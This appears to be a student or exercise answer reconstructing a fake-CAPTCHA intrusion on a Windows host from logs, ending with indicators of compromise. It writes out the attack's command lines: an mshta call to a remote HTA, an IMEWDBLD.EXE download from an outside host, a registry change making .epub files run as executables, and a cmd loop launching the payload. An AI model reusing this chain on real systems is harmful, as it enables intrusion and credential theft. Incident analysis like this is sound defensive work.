Artificial Intelligence
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Describe how the attackers achieved code execution on the target machine  to download and run the exfiltration program (from exercises 1 and 2).  Your answer must clearly explain each stage of the attack in  chronological order, starting from initial c

### Overview of the Attack Stages The following describes the stages of a cyber attack that lead to code execution on the target machine and the download and execution of a credential-stealing malware. The operation included social engineering tactics, technologies, and exploits that navigated around security frameworks to successfully deliver malicious payloads. --- ### STAGE 1: Initial Contact - Fake CAPTCHA Social Engineering - **Time:** 2025-08-05 09:00:25 - **User:** MEGACORPONE\a.smith - **Process:** msedge.exe - **Initial URL:** http://pfusioncaptcha.com - **Server IP:** 99.91.94.11:80 The user visited a malicious website disguised as a CAPTCHA verification page, motivating them to interact with the content under the pretext of proving they were human. --- ### STAGE 2: Blockchain Payload Retrieval - **Time:** 2025-08-05 09:00:29 - **Process:** msedge.exe - **Ethereum RPC Server:** 31.17.87.96:8545 - **Smart Contract Address:** 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512 - **Function Selector:** 0x2cae8ae4 The webpage executed a JavaScript command that connected to a blockchain node, retrieving an encoded payload hidden on the Ethereum blockchain, making it resilient to removal and detection. --- ### STAGE 3: Clipboard Hijacking - Social Engineering - **Time:** 2025-08-05 09:00:25 - 09:01:00 - **User Actions Manipulated:** 1. User clicks on the fake CAPTCHA button. 2. JavaScript copies a malicious command to the clipboard: `mshta.exe http://pfusioncaptcha.com/13221442.hta`. 3. User prompted to press Win+R and paste the contents. This manipulation ensured the user unwittingly executed the command, effectively leveraging social engineering techniques. --- ### STAGE 4: Initial Code Execution via MSHTA - **Time:** 2025-08-05 09:01:02.294 - **Execution Method:** Windows Run Dialog (Win+R) - **Process:** C:\Windows\System32\mshta.exe - **Command Line:** `"C:\WINDOWS\System32\mshta.exe" http://pfusioncaptcha.com/13221442.hta` - **Target URL:** http://pfusioncaptcha.com/13221442.hta - **Server IP:** 31.17.87.31:80 The execution of the HTA file via MSHTA triggered the execution of malicious scripts embedded in the file, paving the way for the downloading of the next payload. --- ### STAGE 5: Malware Download via Living Off The Land Binary (LOLBin) - **Time:** 2025-08-05 09:01:16.399 - **Parent Process:** mshta.exe - **Downloader Tool:** `C:\Windows\System32\IME\SHARED\IMEWDBLD.EXE` - **Command Line:** `"C:\Windows\System32\IME\SHARED\IMEWDBLD.EXE" http://news.axonbyte.org:8000/captcha_privacy.epub` - **Download Location:** `C:\Users\a.smith\AppData\Local\Microsoft\Windows\INetCache\IE\66HCZK0X\captcha_privacy[1].epub` A legitimate Windows component was exploited to download a file masquerading as an EPUB file but was, in reality, a Windows executable. This allowed the malware to bypass conventional security measures. --- ### STAGE 6: Registry Modification for File Association Hijacking - **Time:** 2025-08-05 09:01:18.537 - 09:01:18.582 - **Tool:** `C:\Windows\System32\reg.exe` - **Command Line:** `reg add "HKCU\Software\Classes\.epub" /ve /d exefile /f` The registry was updated to treat all .epub files as executable files, thus facilitating the automatic running of the malicious payload without user intervention. --- ### STAGE 7: Automated Malware Execution via CMD For Loop - **Time:** 2025-08-05 09:01:18.600 - **Parent Process:** mshta.exe - **Tool:** `C:\Windows\System32\cmd.exe` - **Command Line:** `"C:\Windows\System32\cmd.exe" /c for /r "C:\Users\a.smith\AppData\Local\Microsoft\Windows\INetCache" %i in (*.epub) do (start "" "%i" & exit)` The script efficiently sought out and executed any identified .epub files in the cache, ensuring the downloaded malware operated seamlessly without user interaction. --- ### STAGE 8: Stealer Malware Execution - **Time:** 2025-08-05 09:01:18.635 - **Executed File:** captcha_privacy[1].epub - **Full Path:** `C:\Users\a.smith\AppData\Local\Microsoft\Windows\INetCache\IE\66HCZK0X\captcha_privacy[1].epub` - **File Hash:** a88fedc93a1d80c8cea08fbcb6b001293ddf357e27d268b32c5cfd23a49e96ed The malware executed successfully as a PE executable, exploiting the process of treating the falsified extension as a legitimate executable file. --- ### STAGE 9: Command & Control Communication and Data Exfiltration - **C2 Server:** 145.1.0.92 (news.axonbyte.org) **Network Connections:** - Initial C2 beacon and subsequent command retrieval confirmed a successful connection to the adversary’s infrastructure, signaling that the attacker could control the malware remotely. --- ### STAGE 10: Data Collection and Packaging - **Time:** 2025-08-05 09:01:59.518 - **Created File:** `101010245WK001_protected.zip` - **Full Path:** `C:\Users\a.smith\AppData\Local\Temp\101010245WK001_protected.zip` Confidential data such as credentials and tokens were compiled and prepared for transmission back to the attacker using a password-protected zip file. --- ### STAGE 11: Secondary Payload Execution - **Time:** 2025-08-05 09:02:00.495 - **Process:** `C:\Users\a.smith\AppData\Local\Temp\WinStatFeed.rss.exe` A secondary payload was also executed targeting Chrome to harvest further sensitive information smoothly following the initial infection. --- ### INDICATORS OF COMPROMISE (IOCs) #### IP ADDRESSES - 99.91.94.11:80 - Initial fake CAPTCHA site - 31.17.87.96:8545 - Ethereum RPC payload server - 31.17.87.31:80 - HTA download server - 145.1.0.92 (C2 server) - Command and control endpoint #### DOMAINS - pfusioncaptcha.com - news.axonbyte.org #### FILE HASHES - Malware Executable: `captcha_privacy[1].epub` with SHA256 `a88fedc93a1d80c8cea08fbcb6b001293ddf357e27d268b32c5cfd23a49e96ed` #### REGISTRY MODIFICATIONS - HKEY_CURRENT_USER\Software\Classes\.epub → (Default) = exefile ### CONCLUSION The attack exemplifies the sophistication of modern cyber threats evolving through social engineering, exploiting trusted systems, and automation, ultimately leading to the successful execution of malicious software aimed at stealing sensitive data.